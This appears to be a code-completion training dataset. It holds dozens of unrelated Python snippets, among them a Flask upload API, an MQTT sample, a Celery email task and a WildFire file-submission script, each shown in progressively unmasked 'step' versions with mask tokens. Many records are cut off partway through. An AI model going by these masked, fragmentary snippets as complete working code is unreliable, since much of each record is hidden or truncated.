dom = podatki.preberi_lokacijo()
seznam_trgovin =["spar", "mercator", "tus", "hofer", "lidl"]
id_in_opis = podatki.id_izdelka_v_opis()
seznam_izdelkov = [el[0] for el in id_in_opis] #['cokolada', 'sladoled', ...]
mnozica_izdel... | normal | {
"blob_id": "5a0702dd869862ebc27c83d10e0b1f0575de68a7",
"index": 2944,
"step-1": "<mask token>\n\n\ndef kombinacije_trgovin_f(mnozica_izdelkov_v_kosarici, seznam_trgovin,\n trgovine_z_izdelki):\n generator_kombinacij = (set(itertools.compress(seznam_trgovin, el)) for\n el in itertools.product(*([[0,... | [
4,
5,
6,
8,
9
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
from compas.geometry import Frame
| flexible | {
"blob_id": "d4e3751b2d4796c72be497007fe4c7d8ca67e18e",
"index": 6874,
"step-1": "<mask token>\n",
"step-2": "from compas.geometry import Frame\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
} | [
0,
1
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for i in a:
b *= i
print(b)
<|reserved_special_token_1|>
a = range(1, 11)
b = 1
for i in a:
b *= i
print(b)
<|reserved_special_token_1|>
a=range(1,11) #1~10숫자를 에이에 저장
b=1
for i in a: #a에있는 원소를 b에 곱하고 비에 저장
b*=i... | flexible | {
"blob_id": "8cb7290792f9390dd350e0c79711e0dd72d6063b",
"index": 9508,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in a:\n b *= i\nprint(b)\n",
"step-3": "a = range(1, 11)\nb = 1\nfor i in a:\n b *= i\nprint(b)\n",
"step-4": "a=range(1,11) #1~10숫자를 에이에 저장\nb=1\nfor i in a: #a에있는 원소를 ... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
setup(name='pytpm', packages=['pytpm'], package_dir={'pytpm': 'pytpm'},
package_data={'pytpm': ['*.pxd', '*.pyx', '*.pxi']}, ext_modules=
cythonize(ext_modules))
<|reserved_special_token_1|>
<|reserved_special_token_0|>... | flexible | {
"blob_id": "3875d85bef37900f9066c108dc720b364cbafffa",
"index": 8476,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nsetup(name='pytpm', packages=['pytpm'], package_dir={'pytpm': 'pytpm'},\n package_data={'pytpm': ['*.pxd', '*.pyx', '*.pxi']}, ext_modules=\n cythonize(ext_modules))\n",
"step-3":... | [
0,
1,
2,
3,
4
] |
"""
Implements a Neural Network
"""
from vectorflux import VectorFlux
from mnist import read, show, normalize
from vectorflux.layers import Dense
from vectorflux.layers.Dropout import Dropout
train = list(read('train'))
test = list(read('test'))
print("Train size: {}".format(len(train)))
print("Test size: {}".forma... | normal | {
"blob_id": "94d296b5a13bfa59dba5812da31707f9db9080af",
"index": 1292,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint('Train size: {}'.format(len(train)))\nprint('Test size: {}'.format(len(test)))\n<mask token>\nvf.add(Dense(800, activation='sigmoid', input_shape=784, optimizer='Momentum'))\nvf.add... | [
0,
1,
2,
3,
4
] |
import enter
import loginout
import roleinfo
import zhanyi
import package
#import matrix | normal | {
"blob_id": "de665735f02c7569ab382fdc3e910d5d3ac05bb5",
"index": 9088,
"step-1": "<mask token>\n",
"step-2": "import enter\nimport loginout\nimport roleinfo\nimport zhanyi\nimport package\n",
"step-3": "import enter\nimport loginout\nimport roleinfo\nimport zhanyi\nimport package\n#import matrix",
"step-4"... | [
0,
1,
2
] |
# uploadops.py
# CS304-Final Project
# Created by: Megan Shum, Maxine Hood, Mina Hattori
#!/usr/local/bin/python2.7
# This file handles all the SQL calls for the upload page.
import sys
import MySQLdb
import dbconn2
def uploadPost(conn, username, description, location, time_stamp, pathname):
'''Inserts post in Po... | normal | {
"blob_id": "f0deb8ccaf50ea0abb9e1632eaa4354a4f21dece",
"index": 5794,
"step-1": "# uploadops.py\n# CS304-Final Project\n# Created by: Megan Shum, Maxine Hood, Mina Hattori\n#!/usr/local/bin/python2.7\n# This file handles all the SQL calls for the upload page.\n\nimport sys\nimport MySQLdb\nimport dbconn2\n\ndef... | [
0
] |
import spacy
nlp = spacy.load("en_core_web_lg")
def find_entities(corpus):
doc = nlp(corpus)
entities = {}
for ent in doc.ents:
entity_type = ent.label_
entity_name = ent.text
values = entities.get(entity_type, set())
values.add(entity_name)
entities[entity_type]... | normal | {
"blob_id": "3a0bf031b76d2df03cdb5b37861cb8942307709c",
"index": 7601,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef find_entities(corpus):\n doc = nlp(corpus)\n entities = {}\n for ent in doc.ents:\n entity_type = ent.label_\n entity_name = ent.text\n values = enti... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
@api.route(f'/{COLLECTION}/<collection_id>', endpoint=f'{COLLECTION}_by_id')
@api.param('collection_id', f'Unique id, used to distinguish {COLLECTION}.')
class CollectionsById(Resource):
@api.doc(description='[Q2] Deleting a collection with the data service.')
@api.response(200, ... | flexible | {
"blob_id": "75958b48a3372b56e072a0caa468171ab6b99eb6",
"index": 8917,
"step-1": "<mask token>\n\n\n@api.route(f'/{COLLECTION}/<collection_id>', endpoint=f'{COLLECTION}_by_id')\n@api.param('collection_id', f'Unique id, used to distinguish {COLLECTION}.')\nclass CollectionsById(Resource):\n\n @api.doc(descript... | [
7,
11,
15,
16,
19
] |
from django.conf.urls import url
from . import consumers
websocket_urlpatterns = [
url(r'^account/home', consumers.NotificationConsumer),
url(r'^fund/(?P<fund>[\w-]+)', consumers.NotificationConsumer),
url(r'^websockets', consumers.StreamConsumer),
] | normal | {
"blob_id": "7ab9c530035185ee2250f3f6ce8cde87bdfd9803",
"index": 5295,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwebsocket_urlpatterns = [url('^account/home', consumers.\n NotificationConsumer), url('^fund/(?P<fund>[\\\\w-]+)', consumers.\n NotificationConsumer), url('^websockets', consumers.S... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
def get_common_logger(name='common', logfile=None):
"""
args: name (str): logger name
logfile (str): log file, use stream handler (stdout) as default.
return:
logger obj
"""
my_logger = logging.getLogger(name)
my_logger.setLevel(config.LOG_LEVEL)
... | flexible | {
"blob_id": "1754bce54a47cb78dce3b545d3dce835a4e0e69f",
"index": 947,
"step-1": "<mask token>\n\n\ndef get_common_logger(name='common', logfile=None):\n \"\"\"\n args: name (str): logger name\n logfile (str): log file, use stream handler (stdout) as default.\n return:\n logger obj\n \"\... | [
1,
2,
3,
4,
5
] |
from tilBackend.celery import app
import smtplib
import email
import ssl
#librerias pruebas
from celery.task.schedules import crontab
from celery.decorators import periodic_task
from celery.utils.log import get_task_logger
from celery import Celery
@app.task
def correo():
try:
port = 587
smtp_serve... | normal | {
"blob_id": "d0a6bfb729a150863303621a136ae80e96ae32d0",
"index": 3250,
"step-1": "<mask token>\n\n\ndef task_correo():\n \"\"\"\n envia correo\n \"\"\"\n correo()\n logger.info('se envio el correo')\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\n@app.task\ndef correo():\n try:\n po... | [
1,
2,
3,
4,
5
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
print(f'Текст:{x}')
print(f'Число:{y}')
<|reserved_special_token_0|>
print(f'Вы ввели числа: {a1}/{a2}')
print(f'Вы ввели строки: {b1} / {b2}')
<|reserved_special_token_1|>
y = 10
x = 'Тишь да гладь'
print(f'Текст:{x}')
print(f... | flexible | {
"blob_id": "2fabb03f0f6b0b297245354782e650380509424b",
"index": 8054,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(f'Текст:{x}')\nprint(f'Число:{y}')\n<mask token>\nprint(f'Вы ввели числа: {a1}/{a2}')\nprint(f'Вы ввели строки: {b1} / {b2}')\n",
"step-3": "y = 10\nx = 'Тишь да гладь'\nprint(f'Т... | [
0,
1,
2
] |
<|reserved_special_token_0|>
class SearchSuggest(View):
<|reserved_special_token_0|>
class SearchDetail(View):
def get(self, request):
key_words = request.GET.get('q', '')
data = {}
if key_words:
es = Elasticsearch(hosts=['127.0.0.1'])
s = Search(index='zntg_... | flexible | {
"blob_id": "e5e7856d752f14e0671bae8d8b7997207c667ae1",
"index": 6602,
"step-1": "<mask token>\n\n\nclass SearchSuggest(View):\n <mask token>\n\n\nclass SearchDetail(View):\n\n def get(self, request):\n key_words = request.GET.get('q', '')\n data = {}\n if key_words:\n es = ... | [
5,
6,
7,
8,
9
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
print('Select an operation to perform: ')
print('1.ADD')
print('2.SUBTRACT')
print('3.MULTIPLY')
print('4.DIVIDE')
print('5.SQUARE ROOT')
<|reserved_special_token_0|>
if operation == '1':
a = input('Enter first number: ')
b = input('Enter second numbe... | flexible | {
"blob_id": "ea35180daecb8ca4b9bd351a949a4757b97322ec",
"index": 2819,
"step-1": "<mask token>\n",
"step-2": "print('Select an operation to perform: ')\nprint('1.ADD')\nprint('2.SUBTRACT')\nprint('3.MULTIPLY')\nprint('4.DIVIDE')\nprint('5.SQUARE ROOT')\n<mask token>\nif operation == '1':\n a = input('Enter ... | [
0,
1,
2,
3
] |
# coding=utf-8
class HtmlDownload(object):
"""docstring for HtmlDownload"""
def html_download(city, keyWords, pages):
# root URL
paras = {
'jl': city,
'kw': keyWords,
'pages': pages,
'isadv': 0
}
url = "http://sou.zhaopin.com/jobs/searchresult.ashx?" + urlencode... | normal | {
"blob_id": "e33aca56e4c9f82779278e836308c2e22d3356e2",
"index": 3770,
"step-1": "<mask token>\n",
"step-2": "class HtmlDownload(object):\n <mask token>\n <mask token>\n",
"step-3": "class HtmlDownload(object):\n <mask token>\n\n def html_download(city, keyWords, pages):\n paras = {'jl': c... | [
0,
1,
2,
3,
4
] |
import re
from mapa import graficar_lista, graficar_matriz
class nodo:
def __init__(self, x, y, n, c):
self.columna = x
self.fila = y
self.nombre = n
self.color = c
pattern_matriz = r"[M|m][A|a][T|t][R|r][I|i][Z|z]\s*\(.*,.*,.*,.*,.*\)\{"
pattern_fila = r"[F|f][I|i][L|l][A|a]\s*\(... | normal | {
"blob_id": "70373c74e459efb2a310d94ae906910423e8bfd4",
"index": 6631,
"step-1": "<mask token>\n\n\nclass nodo:\n\n def __init__(self, x, y, n, c):\n self.columna = x\n self.fila = y\n self.nombre = n\n self.color = c\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass nodo:... | [
2,
3,
4,
5,
6
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
urlpatterns = [path('product', views.ProductCreateAndList.as_view()), path(
'product/<int:pk>', views.ProductRetrieve.as_view())]
<|reserved_special_token_1|>
from django.urls import path
from . import views
urlpatterns = [... | flexible | {
"blob_id": "d21b89285d4b4c73a08bda746cea31b5a13d1050",
"index": 1967,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nurlpatterns = [path('product', views.ProductCreateAndList.as_view()), path(\n 'product/<int:pk>', views.ProductRetrieve.as_view())]\n",
"step-3": "from django.urls import path\nfrom ... | [
0,
1,
2,
3
] |
import time
import os, os.path
import random
import cv2
import glob
import keras
import matplotlib
import matplotlib.pyplot as plt
from sklearn.model_selection import train_test_split
from sklearn.cluster import KMeans
from sklearn.mixture import GaussianMixture
from sklearn.decomposition import PCA
import pandas as ... | normal | {
"blob_id": "9c8a213fc8a7397662eebb74d6ee1ad34cb884d9",
"index": 1420,
"step-1": "<mask token>\n\n\ndef create_train_kmeans(data, number_of_clusters):\n k = KMeans(n_clusters=number_of_clusters, n_jobs=-1, random_state=728)\n start = time.time()\n k.fit(data)\n end = time.time()\n print('Training ... | [
1,
3,
4,
6,
7
] |
from difflib import SequenceMatcher
import csv
naam = "straat"
def similar(a, b):
return SequenceMatcher(None, a, b).ratio()
f = open("straten.txt", "r")
f.readline()
names = f.readlines()
for name in names:
if similar(name[:-1].lower(),naam.lower()) > 0.7:
sim = similar(name[:-1].lower(),naam.lower(... | normal | {
"blob_id": "2f1193e3ab5e0527ab5f89141613eddb18b5f61d",
"index": 2787,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\n\n<mask token>\nf.readline()\n<mask token>\nfor name in names:\n if similar(name[:-1].lower(), naam.lower()) >... | [
0,
2,
3,
4,
5
] |
import ctypes
import win32con
import request_spider
from selenium_tickets_spider import *
from threading import Thread
from PyQt5.QtWidgets import *
from PyQt5 import QtCore, QtWidgets
from PyQt5.QtCore import Qt, QThread, pyqtSignal
import sys, time, re
import datetime
SESSION_DATA = False
SHOW_S_P = False
class Wor... | normal | {
"blob_id": "bc0846397a5ad73b1c4b85e12864b27ef4fd08d7",
"index": 5358,
"step-1": "<mask token>\n\n\nclass Ui_MainWindow(QMainWindow):\n threads = []\n keywordJudge = ''\n\n def __init__(self):\n super(Ui_MainWindow, self).__init__()\n self.buy_succeed_count = 0\n for func in [self.o... | [
25,
26,
30,
32,
33
] |
<|reserved_special_token_0|>
class Add_Buttons(object):
<|reserved_special_token_0|>
def validate_inputs(self):
try:
self.button_labels = list(self.button_labels)
for it in self.button_labels:
if type(it) != str:
raise TypeError()
ex... | flexible | {
"blob_id": "1576693264a334153c2752ab6b3b4b65daa7c37c",
"index": 8928,
"step-1": "<mask token>\n\n\nclass Add_Buttons(object):\n <mask token>\n\n def validate_inputs(self):\n try:\n self.button_labels = list(self.button_labels)\n for it in self.button_labels:\n i... | [
6,
8,
9,
10,
13
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
ap.add_argument('-o', '--output', required=True, help='Path to save the images'
)
ap.add_argument('-n', '--number', required=False, default=500, help=
'number of images to download')
<|reserved_special_token_0|>
for j in r... | flexible | {
"blob_id": "6990b5f34af654b4e1a39c3d73b6822fa48e4835",
"index": 9159,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nap.add_argument('-o', '--output', required=True, help='Path to save the images'\n )\nap.add_argument('-n', '--number', required=False, default=500, help=\n 'number of images to down... | [
0,
1,
2,
3,
4
] |
import logging
import os
from os.path import exists, abspath, join, dirname
from os import mkdir
os.environ["MKL_NUM_THREADS"] = "1"
os.environ["MP_NUM_THREADS"] = "1"
from smallab.runner_implementations.multiprocessing_runner import MultiprocessingRunner
from plannin_experiment import PlanningExperiment
mpl_logger ... | normal | {
"blob_id": "88d8d04dd7117daed0e976f3abc52c5d7bf18434",
"index": 9334,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nmpl_logger.setLevel(logging.WARNING)\n<mask token>\nif __name__ == '__main__':\n if 'experiments' in os.getcwd():\n os.chdir('../..')\n this_dir = dirname(abspath(__file__))\... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def similar(a, b):
return SequenceMatcher(None, a, b).ratio()
<|reserved_special_token_0|>
f.readline()
<|reserved_special_token_0|>
for name in names:
if similar(name[:-1].lower(), naam.lower()) > 0.7:
sim = s... | flexible | {
"blob_id": "2f1193e3ab5e0527ab5f89141613eddb18b5f61d",
"index": 2787,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\n\n<mask token>\nf.readline()\n<mask token>\nfor name in names:\n if similar(name[:-1].lower(), naam.lower()) >... | [
0,
2,
3,
4,
5
] |
<|reserved_special_token_0|>
def conv1d(x, w, p=0, s=1):
w_rot = np.array(w[::-1])
x_padded = np.array(x)
if p > 0:
zero_pad = np.zeros(shape=p)
x_padded = np.concatenate([zero_pad, x_padded, zero_pad])
res = []
for i in range(0, int((len(x) + 2 * p - len(w)) / s) + 1):
j =... | flexible | {
"blob_id": "a336434abc526357db0536955885cf076ee60f59",
"index": 7220,
"step-1": "<mask token>\n\n\ndef conv1d(x, w, p=0, s=1):\n w_rot = np.array(w[::-1])\n x_padded = np.array(x)\n if p > 0:\n zero_pad = np.zeros(shape=p)\n x_padded = np.concatenate([zero_pad, x_padded, zero_pad])\n r... | [
1,
2,
3,
4,
5
] |
import sys
from .csvtable import *
from .utils import *
from .reporter import Reporter
class ColumnKeyVerifier:
def __init__(self):
self.keys = {}
def prologue(self, table_name, header):
if 0 == len(header):
return False
# 키는 첫번째 컬럼에만 설정 가능하다.
return header[0].is_... | normal | {
"blob_id": "eca4abf706fd094a40fdfc8ea483d71b0a018ce9",
"index": 4378,
"step-1": "<mask token>\n\n\nclass ColumnKeyVerifier:\n <mask token>\n <mask token>\n\n def epilogue(self):\n pass\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass ColumnKeyVerifier:\n\n def __init__(self):\n ... | [
2,
4,
5,
6,
7
] |
<|reserved_special_token_0|>
class GeventExecutor(BaseExecutor):
<|reserved_special_token_0|>
def _do_submit_job(self, job, run_times):
def callback(greenlet):
try:
events = greenlet.get()
except BaseException:
self._run_job_error(job.id, *sys.... | flexible | {
"blob_id": "afcadc11d23fb921eb6f8038a908de02ee763ca4",
"index": 693,
"step-1": "<mask token>\n\n\nclass GeventExecutor(BaseExecutor):\n <mask token>\n\n def _do_submit_job(self, job, run_times):\n\n def callback(greenlet):\n try:\n events = greenlet.get()\n exce... | [
2,
3,
4,
5,
6
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
if sys.argv[1] == '1':
for x in range(5):
print(str(x))
<|reserved_special_token_0|>
if sys.argv[1] == '2':
for x in range(5):
print(str(4 - x))
<|reserved_special_token_0|>
if sys.argv[1] == '3':
for x... | flexible | {
"blob_id": "eda8bde048f3d4c4af4bd1c296e4cc02b92eaa17",
"index": 4727,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif sys.argv[1] == '1':\n for x in range(5):\n print(str(x))\n<mask token>\nif sys.argv[1] == '2':\n for x in range(5):\n print(str(4 - x))\n<mask token>\nif sys.argv[1... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def solution(tickets):
routes = defaultdict(list)
for t in tickets:
routes[t[0]].append(t[1])
for r in routes:
routes[r].sort(reverse=True)
stack = ['ICN']
path = []
while stack:
t... | flexible | {
"blob_id": "15c6841052882406d7c7b6cd05c0186c6a4a5924",
"index": 2021,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef solution(tickets):\n routes = defaultdict(list)\n for t in tickets:\n routes[t[0]].append(t[1])\n for r in routes:\n routes[r].sort(reverse=True)\n stack... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
traditional_investor_stage1 = (
"SELECT investor, investor_id, invest_amount, invest_change, security_id, isin, issue_date, maturity_date FROM (SELECT report_date, investor_holdings.investor_name AS investor,investor_id,AVG(investor_holdings.amount_held) ... | flexible | {
"blob_id": "1e168cf6ba785a08244f47eb490b54605a09e4b0",
"index": 9433,
"step-1": "<mask token>\n",
"step-2": "traditional_investor_stage1 = (\n \"SELECT investor, investor_id, invest_amount, invest_change, security_id, isin, issue_date, maturity_date FROM (SELECT report_date, investor_holdings.investor_name... | [
0,
1,
2
] |
import torch
import torch.nn as nn
class MLPNet(nn.Module):
def __init__(self, num_classes):
super(MLPNet, self).__init__()
self.fc1 = nn.Linear(32 * 32 * 3, 512)
self.fc2 = nn.Linear(512, num_classes)
def forward(self, x):
x = x.view(x.size(0), -1)
x = self.fc1(x)
... | normal | {
"blob_id": "eff8b6a282ac73a116587e7ed04f386927c9f826",
"index": 9089,
"step-1": "<mask token>\n\n\nclass MLPNet(nn.Module):\n <mask token>\n\n def forward(self, x):\n x = x.view(x.size(0), -1)\n x = self.fc1(x)\n x = torch.sigmoid(x)\n x = self.fc2(x)\n return x\n <ma... | [
2,
3,
4,
5
] |
# Generated by Django 2.1.4 on 2019-01-11 11:58
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('devisa', '0021_auto_20190110_1256'),
]
operations = [
migrations.RemoveField(
model_name='entidade',
name='bairro',
... | normal | {
"blob_id": "34f79fa3de68b53f19220697815e5bae5270d056",
"index": 9274,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('devisa', '0... | [
0,
1,
2,
3,
4
] |
# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
# SPDX-License-Identifier: Apache-2.0.
from awscrt import http, io
from awsiot import mqtt_connection_builder
from utils.command_line_utils import CommandLineUtils
# This sample shows how to create a MQTT connection using a certificate file and key ... | normal | {
"blob_id": "2ff398e38b49d95fdc8a36a08eeb5950aaea1bc9",
"index": 2279,
"step-1": "<mask token>\n\n\ndef on_connection_resumed(connection, return_code, session_present, **kwargs):\n print('Connection resumed. return_code: {} session_present: {}'.format(\n return_code, session_present))\n\n\n<mask token>... | [
1,
2,
3,
4,
5
] |
<|reserved_special_token_0|>
@app.route('/')
def hello():
return 'Hello word'
@app.route('/analyze', methods=['POST'])
def analyze():
if request.method == 'POST':
image_file = request.files['image']
file_name = secure_filename(image_file.filename)
image_file.save(os.path.join(app.con... | flexible | {
"blob_id": "b9c8689dbdf451e6a981f1abdae55771266fe231",
"index": 9129,
"step-1": "<mask token>\n\n\n@app.route('/')\ndef hello():\n return 'Hello word'\n\n\n@app.route('/analyze', methods=['POST'])\ndef analyze():\n if request.method == 'POST':\n image_file = request.files['image']\n file_nam... | [
2,
3,
4,
5,
6
] |
# -*- coding: utf-8 -*-
"""
.. codeauthor:: Daniel Seichter <daniel.seichter@tu-ilmenau.de>
"""
import argparse
from glob import glob
import os
import cv2
import numpy as np
import matplotlib.pyplot as plt
import torch
import torch.nn.functional as F
from src.args import ArgumentParserRGBDSegmentation
from src.build_... | normal | {
"blob_id": "559e46aa4e9b55f8c01acf30fa01e106ab914116",
"index": 5687,
"step-1": "<mask token>\n\n\ndef _load_img(fp):\n img = cv2.imread(fp, cv2.IMREAD_UNCHANGED)\n if img.ndim == 3:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n return img\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nde... | [
1,
2,
3,
4,
5
] |
import os
import re
import logging
import time
from string import replace
from settings import *
import wsgiref.handlers
from google.appengine.ext import webapp
from google.appengine.ext.webapp import template
from modules.xml2dict import *
from modules import kayak
from modules.messaging import *
from modules.cron im... | normal | {
"blob_id": "08568c31e5a404957c11eca9cbc9472c71cf088b",
"index": 9546,
"step-1": "<mask token>\n\n\nclass KayakHandler(webapp.RequestHandler):\n <mask token>\n\n\nclass ClearTripHandler(webapp.RequestHandler):\n\n def get(self):\n file = open('result.xml', 'r')\n content = file.read()\n ... | [
5,
8,
9,
11,
17
] |
#%%
### 날짜 데이터 분리
# 연-월-일 날짜 데이터에서 일부 분리 추출
import pandas as pd
df = pd.read_csv('../../datasets/part5/stock-data.csv')
# 문자열인 날짜 데이터를 판다스 Timestamp로 변환
df['new_Date'] = pd.to_datetime(df['Date']) # df에 새로운 열로 추가
print(df.head())
print()
# dt 속성을 이용하여 new_Data 열의 연-월-일 정보를 년, 월, 일로 구분
df['Year'] = df['new_... | normal | {
"blob_id": "d89e1d653c6db322feb6edba93cbfc622bf47aa2",
"index": 2781,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(df.head())\nprint()\n<mask token>\nprint(df.head())\nprint('------------------')\n<mask token>\nprint(df.head())\nprint('------------------')\ndf.set_index('Date_m', inplace=True)\n... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class Carteiro:
if os.environ.get('REDIS_URL') != None:
redis_pool = redis.ConnectionPool.from_url(os.environ.get('REDIS_URL'))
else:
redis_pool = ''
def __init__(self, id, pacote):
if os.environ.get('REDIS_URL') != None:
self.redis_bd = re... | flexible | {
"blob_id": "dd95d14f35b6a92b3363d99a616678da18733a61",
"index": 7839,
"step-1": "<mask token>\n\n\nclass Carteiro:\n if os.environ.get('REDIS_URL') != None:\n redis_pool = redis.ConnectionPool.from_url(os.environ.get('REDIS_URL'))\n else:\n redis_pool = ''\n\n def __init__(self, id, pacot... | [
4,
5,
6,
7,
8
] |
<|reserved_special_token_0|>
def main():
n_joints = 10
parameter_set = [SimulationParameters(simulation_duration=15, drive=4.0,
amplitudes=None, phase_lag=None, turn=None, amplitude_gradient=[
Rhead, Rtail], backward=None, frequency=1) for Rhead in np.linspace
(0.2, 0.5, 10) for Rtail ... | flexible | {
"blob_id": "a0284eba1a0e6c498f240068c586e7f8b79cd86c",
"index": 5782,
"step-1": "<mask token>\n\n\ndef main():\n n_joints = 10\n parameter_set = [SimulationParameters(simulation_duration=15, drive=4.0,\n amplitudes=None, phase_lag=None, turn=None, amplitude_gradient=[\n Rhead, Rtail], backwa... | [
2,
3,
4,
5,
6
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for i in range(n):
inp = int(input())
lista.append(inp)
lista.sort(reverse=True)
print(lista[0])
print(lista[1])
<|reserved_special_token_1|>
n = int(input())
lista = []
for i in range(n):
inp = int(input())
lis... | flexible | {
"blob_id": "b03960999fa30a55932ada7fbf731a3861b840ae",
"index": 3496,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in range(n):\n inp = int(input())\n lista.append(inp)\nlista.sort(reverse=True)\nprint(lista[0])\nprint(lista[1])\n",
"step-3": "n = int(input())\nlista = []\nfor i in range... | [
0,
1,
2
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
while True:
if fib[counter] > 4000000:
flag = 0
break
else:
fib.append(fib[counter] + fib[counter - 1])
counter += 1
<|reserved_special_token_0|>
print(total)
<|reserved_special_token_1|>
... | flexible | {
"blob_id": "e2572b48f7183353ba2aab0500130dc8a71a0b22",
"index": 5286,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwhile True:\n if fib[counter] > 4000000:\n flag = 0\n break\n else:\n fib.append(fib[counter] + fib[counter - 1])\n counter += 1\n<mask token>\nprint(tot... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
setup(name='testcov-plugin', version='1.0', packages=['testcov'],
namespace_packages=['testcov'], entry_points={'plugins': [
'testp = testcov.plugin:testp']}, description='Test for coverage bug')
<|reserved_special_token... | flexible | {
"blob_id": "88f5aa56eca6b61ba2b428bff0efdf4ec7f5f5d9",
"index": 1913,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nsetup(name='testcov-plugin', version='1.0', packages=['testcov'],\n namespace_packages=['testcov'], entry_points={'plugins': [\n 'testp = testcov.plugin:testp']}, description='Test ... | [
0,
1,
2,
3
] |
from django.contrib import admin
from apps.cart.models import *
# Register your models here.
class CartAdmin(admin.ModelAdmin):
list_display = ('user_id', 'goods_id', 'goods_num')
search_fields = ('user_id', 'goods_id', 'goods_num')
list_filter = ['user_id', 'goods_id', 'goods_num']
admin.sit... | normal | {
"blob_id": "222948fb0a991bb6d7faa186c7442a303b88290b",
"index": 7184,
"step-1": "<mask token>\n\n\nclass CartAdmin(admin.ModelAdmin):\n <mask token>\n <mask token>\n <mask token>\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass CartAdmin(admin.ModelAdmin):\n list_display = 'user_id', 'good... | [
1,
2,
3,
4,
5
] |
#!/usr/bin/env python
import argparse
import requests
import sys
import os
import xml.dom.minidom
__author__ = 'Tighe Schlottog || tschlottog@paloaltonetworks.com'
'''
wf.py is a script to interact with the WildFire API to upload files or pull back reports on specific hashes. You
need to have the argparse a... | normal | {
"blob_id": "e8e78610df4461a96f7d9858870de0e3482801fd",
"index": 5083,
"step-1": "#!/usr/bin/env python\n\nimport argparse\nimport requests\nimport sys\nimport os\nimport xml.dom.minidom\n\n__author__ = 'Tighe Schlottog || tschlottog@paloaltonetworks.com'\n\n'''\n wf.py is a script to interact with the WildFi... | [
0
] |
<|reserved_special_token_0|>
class MainWindow:
<|reserved_special_token_0|>
<|reserved_special_token_0|>
def search_wikipedia(self):
"""Safely browse wikipedia articles."""
self.summary.delete('1.0', tk.END)
possibilities = wk.search(self.search_box.get('1.0', tk.END).
... | flexible | {
"blob_id": "874fa927a1c0f1beeb31ca7b0de7fd2b16218ea4",
"index": 2756,
"step-1": "<mask token>\n\n\nclass MainWindow:\n <mask token>\n <mask token>\n\n def search_wikipedia(self):\n \"\"\"Safely browse wikipedia articles.\"\"\"\n self.summary.delete('1.0', tk.END)\n possibilities = ... | [
8,
9,
11,
12,
13
] |
from pycat.base.color import Color
from pycat.sprite import Sprite
from pycat.window import Window
from pyglet.gl.glext_arb import GL_FONT_HEIGHT_NV
from random import randint
window=Window()
class Chick(Sprite):
def on_create(self):
self.image = 'chick-a.png'
self.goto_random_position()
... | normal | {
"blob_id": "cc7942c406e9bcb5af43f131fdf0a6441f81c16a",
"index": 4260,
"step-1": "<mask token>\n\n\nclass Chick(Sprite):\n <mask token>\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass Chick(Sprite):\n\n def on_create(self):\n self.image = 'chick-a.png'\n self.goto_random_position()... | [
1,
3,
4,
5,
6
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for key, value in response.items():
Emoji = Emojis(name=key, url=value)
session.add(Emoji)
session.commit()
<|reserved_special_token_1|>
<|reserved_special_token_0|>
engine = create_engine('postgresql://myuser:mypas... | flexible | {
"blob_id": "0aa95b6a72472e8e260c07f4c42a327384ca0da4",
"index": 9173,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor key, value in response.items():\n Emoji = Emojis(name=key, url=value)\n session.add(Emoji)\n session.commit()\n",
